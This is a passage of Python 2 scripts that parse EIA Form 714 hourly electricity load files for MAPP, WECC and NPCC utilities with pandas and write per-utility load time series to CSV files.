'0').astype(float).dropna().values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MEAN02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MEAN03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13143 : { 1993 : pd.read_fwf('%s/mapp/1993/MPW93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MPW94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MPW95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MPW96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MPW97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MPW98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MPW99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MPW02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MPW03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13337 : { 1993 : pd.read_fwf('%s/mapp/1993/NPPD93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/NPPD94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/NPPD95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/NPPD96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/NPPD97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/NPPD98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/NPPD99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/NPPD00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=9, skipfooter=1).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_fwf('%s/mapp/2001/NPPD01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=9, skipfooter=1).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_csv('%s/mapp/2002/NPPD02' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/NPPD03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13781 : { 1993 : pd.read_fwf('%s/mapp/1993/NSP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/NSP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/NSP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/NSP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/NSP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/NSP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_csv('%s/mapp/2000/NSP00' % (fulldir), sep='\t', skipinitialspace=True, skiprows=2, header=None, skipfooter=1)[2].values }, 13809 : { 1993 : pd.read_fwf('%s/mapp/1993/NWPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/NWPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/NWPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/NWPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/NWPS98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/NWPS99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/NWPS02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/NWPS03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 14127 : { 1993 : pd.read_fwf('%s/mapp/1993/OPPD93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/OPPD94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_csv('%s/mapp/1995/OPPD95' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 7:].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/OPPD96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/OPPD97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/OPPD98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/OPPD99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/OPPD02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/OPPD03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 14232 : { 1993 : pd.read_fwf('%s/mapp/1993/OTP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/OTP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_csv('%s/mapp/1995/OTP95' % (fulldir), header=None).iloc[:, -2].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/OTP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/OTP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/OTP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/OTP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/OTP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/OTP02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/OTP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 40580 : { 1993 : pd.read_fwf('%s/mapp/1993/SMMP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/SMP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/SMMP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/SMMP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/SMMP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/SMMPA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_csv('%s/mapp/2000/SMMP00' % (fulldir)).iloc[:-1, 3].values, 2001 : pd.read_csv('%s/mapp/2001/SMMP01' % (fulldir), header=None).iloc[:, 2].values, 2002 : pd.read_fwf('%s/mapp/2002/SMMPA02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/SMMPA03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 19514 : { 1993 : pd.read_fwf('%s/mapp/1993/UPA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/UPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/UPA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/UPA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/UPA98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 20858 : { 1993 : pd.read_fwf('%s/mapp/1993/WPPI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/WPPI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/WPPI96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_csv('%s/mapp/1997/WPPI97' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:-1].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/WPPI98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/WPPI99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/WPPI02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/WPPI03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 12341 : { 1995 : pd.read_fwf('%s/mapp/1995/MEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/MEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MEC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MEC_ALL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 4322 : { 1993 : pd.read_fwf('%s/mapp/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/CP96' % (fulldir), header=None).iloc[:, 2:].values.ravel() }, 23333 : { 1993 : pd.read_fwf('%s/mapp/1993/MPSI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MPSI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MPSI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() } } mapp[20858][1997] = np.repeat(np.nan, len(mapp[20858][1997])) mapp[21352][1995][mapp[21352][1995] < 0] = 0 mapp[40580][2000] = np.repeat(np.nan, len(mapp[40580][2000])) if not os.path.exists('./mapp'): os.mkdir('mapp') for k in mapp.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(mapp[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(mapp[k][i]))) for i in mapp[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./mapp/%s.csv' % k) ################################# # WECC ################################# import numpy as np import pandas as pd import os import re import datetime import time import pysal as ps homedir = os.path.expanduser('~') #basepath = '/home/akagi/Documents/EIA_form_data/wecc_form_714' basepath = '%s/github/RIPS_kircheis/data/eia_form_714/active' % (homedir) path_d = { 1993: '93WSCC1/WSCC', 1994: '94WSCC1/WSCC1994', 1995: '95WSCC1', 1996: '96WSCC1/WSCC1996', 1997: '97wscc1', 1998: '98WSCC1/WSCC1', 1999: '99WSCC1/WSCC1', 2000: '00WSCC1/WSCC1', 2001: '01WECC/WECC01/wecc01', 2002: 'WECCONE3/WECC One/WECC2002', 2003: 'WECC/WECC/WECC ONE/wecc03', 2004: 'WECC_2004/WECC/WECC One/ferc', 2006: 'form714-database_2006_2013/form714-database/Part 3 Schedule 2 - Planning Area Hourly Demand.csv' } #### GET UNIQUE UTILITIES AND UTILITIES BY YEAR u_by_year = {} for d in path_d: if d != 2006: full_d = basepath + '/' + path_d[d] l = [i.lower().split('.')[0][:-2] for i in os.listdir(full_d) if i.lower().endswith('dat')] u_by_year.update({d : sorted(l)}) unique_u = np.unique(np.concatenate([np.array(i) for i in u_by_year.values()])) #### GET EIA CODES OF WECC UTILITIES rm_d = {1993: {'rm': '93WSCC1/README2'}, 1994: {'rm': '94WSCC1/README.TXT'}, 1995: {'rm': '95WSCC1/README.TXT'}, 1996: {'rm': '96WSCC1/README.TXT'}, 1997: {'rm': '97wscc1/README.TXT'}, 1998: {'rm': '98WSCC1/WSCC1/part.002'}, 1999: {'rm': '99WSCC1/WSCC1/README.TXT'}, 2000: {'rm': '00WSCC1/WSCC1/README.TXT'}, 2001: {'rm': '01WECC/WECC01/wecc01/README.TXT'}, 2002: {'rm': 'WECCONE3/WECC One/WECC2002/README.TXT'}, 2003: {'rm': 'WECC/WECC/WECC ONE/wecc03/README.TXT'}, 2004: {'rm': 'WECC_2004/WECC/WECC One/ferc/README.TXT'}} for d in rm_d.keys(): fn = basepath + '/' + rm_d[d]['rm'] f = open(fn, 'r') r = f.readlines() f.close() for i in range(len(r)): if 'FILE NAME' in r[i]: rm_d[d].update({'op': i}) if 'FERC' and 'not' in r[i]: rm_d[d].update({'ed': i}) unique_u_ids = {} for u in unique_u: regex = re.compile('^ *%s\d\d.dat' % u, re.IGNORECASE) for d in rm_d.keys(): fn = basepath + '/' + rm_d[d]['rm'] f = open(fn, 'r') r = f.readlines() #[rm_d[d]['op']:rm_d[d]['ed']] f.close() for line in r: result = re.search(regex, line) if result: # print line code = line.split()[1] nm = line.split(code)[1].strip() unique_u_ids.update({u : {'code':code, 'name':nm}}) break else: continue if u in unique_u_ids: break else: continue #id_2006 = pd.read_csv('/home/akagi/Documents/EIA_form_data/wecc_form_714/form714-database_2006_2013/form714-database/Respondent IDs.csv') id_2006 = pd.read_csv('%s/form714-database_2006_2013/form714-database/Respondent IDs.csv' % (basepath)) id_2006 = id_2006.drop_duplicates('eia_code').set_index('eia_code').sort_index() ui = pd.DataFrame.from_dict(unique_u_ids, orient='index') ui = ui.loc[ui['code'] != '*'].drop_duplicates('code') ui['code'] = ui['code'].astype(int) ui = ui.set_index('code') eia_to_r = pd.concat([ui, id_2006], axis=1).dropna() # util = { # 'aps' : 803, # 'srp' : 16572, # 'ldwp' : 11208 # } # util_2006 = { # 'aps' : 116, # 'srp' : 244, # 'ldwp' : 194 # } #resp_ids = '/home/akagi/Documents/EIA_form_data/wecc_form_714/form714-database_2006_2013/form714-database/Respondent IDs.csv' resp_ids = '%s/form714-database_2006_2013/form714-database/Respondent IDs.csv' % (basepath) df_path_d = {} df_d = {} build_paths() #### Southern California Edison part of CAISO in 2006-2013: resp id 125 if not os.path.exists('./wecc'): os.mkdir('wecc') for x in unique_u: out_df = build_df(x) if x in unique_u_ids.keys(): if str.isdigit(unique_u_ids[x]['code']): out_df.to_csv('./wecc/%s.csv' % unique_u_ids[x]['code']) else: out_df.to_csv('./wecc/%s.csv' % x) else: out_df.to_csv('./wecc/%s.csv' % x) ################################# from itertools import chain li = [] for fn in os.listdir('.'): li.append(os.listdir('./%s' % (fn))) s = pd.Series(list(chain(*li))) s = s.str.replace('\.csv', '') u = s[s.str.contains('\d+')].str.replace('[^\d]', '').astype(int).unique() homedir = os.path.expanduser('~') rid = pd.read_csv('%s/github/RIPS_kircheis/data/eia_form_714/active/form714-database/form714-database/Respondent IDs.csv' % homedir) ridu = rid[rid['eia_code'] != 0] ridu[~ridu['eia_code'].isin(u)]

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import numpy as np import pandas as pd import os import datetime homedir = os.path.expanduser('~') datadir = 'github/RIPS_kircheis/data/eia_form_714/processed/' fulldir = homedir + '/' + datadir # li = [] # for d1 in os.listdir('.'): # for fn in os.listdir('./%s' % d1): # li.append(fn) # dir_u = pd.Series(li).str[:-2].order().unique() ###### NPCC # BECO: 54913 <- 1998 # BHE: 1179 # CELC: 1523 <- 2886 # CHGE: 3249 # CMP: 3266 # COED: 4226 # COEL: 4089 -> IGNORE # CVPS: 3292 # EUA: 5618 # GMP: 7601 # ISONY: 13501 # LILC: 11171 <- 11172 # MMWE: 11806 # NEES: 13433 # NEPOOL: 13435 # NMPC: 13573 # NU: 13556 # NYPA: 15296 # NYPP: 13501 # NYS: 13511 # OR: 14154 # RGE: 16183 # UI: 19497 npcc = { 54913 : { 1993 : pd.read_fwf('%s/npcc/1993/BECO93' % (fulldir), header=None, skipfooter=1).loc[:, 2:].values.ravel(), 1994 : pd.read_csv('%s/npcc/1994/BECO94' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[4].values, 1995 : pd.read_csv('%s/npcc/1995/BECO95' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values, 1996 : pd.read_csv('%s/npcc/1996/BECO96' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values, 1997 : pd.read_csv('%s/npcc/1997/BECO97' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[4].values, 1998 : pd.read_csv('%s/npcc/1998/BECO98' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values, 1999 : pd.read_csv('%s/npcc/1999/BECO99' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2000 : pd.read_csv('%s/npcc/2000/BECO00' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2001 : pd.read_csv('%s/npcc/2001/BECO01' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2002 : pd.read_csv('%s/npcc/2002/BECO02' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2003 : pd.read_csv('%s/npcc/2003/BECO03' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2004 : pd.read_csv('%s/npcc/2004/BECO04' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values }, 1179 : { 1993 : pd.read_csv('%s/npcc/1993/BHE93' % (fulldir), sep=' ', skiprows=2, skipinitialspace=True).loc[:, '0000':].values.ravel(), 1994 : pd.read_csv('%s/npcc/1994/BHE94' % (fulldir)).dropna(how='all').loc[:729, '1/13':'12/24'].values.ravel(), 1995 : (pd.read_fwf('%s/npcc/1995/BHE95' % (fulldir)).loc[:729, '1/13':'1224'].astype(float)/10).values.ravel(), 2001 : pd.read_excel('%s/npcc/2001/BHE01' % (fulldir), skiprows=2).iloc[:, 1:24].values.ravel(), 2003 : pd.read_excel('%s/npcc/2003/BHE03' % (fulldir), skiprows=3).iloc[:, 1:24].values.ravel() }, 1523 : { 1999 : pd.read_csv('%s/npcc/1999/CELC99' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2000 : pd.read_csv('%s/npcc/2000/CELC00' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2001 : pd.read_csv('%s/npcc/2001/CELC01' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2002 : pd.read_csv('%s/npcc/2002/CELC02' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2003 : pd.read_csv('%s/npcc/2003/CELC03' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2004 : pd.read_csv('%s/npcc/2004/CELC04' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values }, 3249 : { 1993 : pd.read_csv('%s/npcc/1993/CHGE93' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[2].values, 1994 : pd.read_fwf('%s/npcc/1994/CHGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(float).values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/CHGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/CHGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(float).values.ravel(), 1997 : 